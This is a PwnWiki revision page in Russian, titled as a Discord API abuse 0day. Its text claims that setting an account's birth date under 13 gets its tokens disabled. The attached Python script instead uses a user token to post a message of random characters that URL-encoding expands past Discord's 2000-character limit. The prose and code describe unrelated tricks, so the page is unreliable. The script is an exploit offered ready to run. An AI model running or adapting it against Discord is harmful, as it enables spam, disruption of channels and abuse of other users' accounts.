Difference between revisions of "Discord API濫用0day/ru"

From PwnWiki
(建立內容為「==Принцип уязвимости:== Установите дату рождения учетной записи меньше 13 лет, чтобы отклю…」的新頁面)
 
(Updating to match new version of source page)
 
Line 1: Line 1:
 +
<languages />
 +
 
{| style="margin: auto; width: 750px;"
 
{| style="margin: auto; width: 750px;"
 
| style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" |
 
| style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" |
Line 16: Line 18:
 
Usage:
 
Usage:
 
<pre>
 
<pre>
py example.py <token>
+
python example.py <token>
 
</pre>
 
</pre>
  
Line 62: Line 64:
 
     main()
 
     main()
 
</pre>
 
</pre>
 +
  
 
==Автор:==
 
==Автор:==
 
Первоначальный автор неизвестен.
 
Первоначальный автор неизвестен.

Latest revision as of 17:21, 11 April 2021

Other languages:
Chinese • ‎Deutsch • ‎English • ‎español • ‎русский • ‎українська • ‎中文(台灣)‎ • ‎中文(简体)‎
Hand.png 這個頁面需要補充,如果您了解該內容,請直接編輯詞條。


Принцип уязвимости:

Установите дату рождения учетной записи меньше 13 лет, чтобы отключить токены, потому что Discord автоматически отключит учетные записи, владельцам которых меньше 13 лет.

Обратите внимание, что учетные записи, которые уже настроили DoB, не подвержены этой уязвимости.

EXP:

Usage:

python example.py <token>
# Name: 2000 Characters Limit Bypass
# Description: Sends an URI that contains characters that gets URL encoded when sent, which increases the length of the message.
# Author: checksum (@0daySkid)
# Original founder: Siaxos

import requests
import random
import sys

class Exploit:

    def __init__(self, token, channel):
        self.token = token
        self.channel_id = channel
        self.headers = {'Authorization': token}

    @property
    def uri(self):
        chars = ''.join(random.choice('\'"^`|{}') for _ in range(1993))
        return f'<a://a{chars}>'

    def execute(self):
        """ send magical URI """
        return requests.post(f'https://discordapp.com/api/v6/channels/{self.channel_id}/messages', headers=self.headers, json={'content': self.uri})

    
def main():
    if len(sys.argv) < 3:
        print(f'Usage: py {sys.argv[0]} <token> <channel id>')
        sys.exit()

    token = sys.argv[1]
    channel_id = sys.argv[2]

    exploit = Exploit(token, channel_id)

    exploit.execute()


if __name__ == '__main__':
    main()


Автор:

Первоначальный автор неизвестен.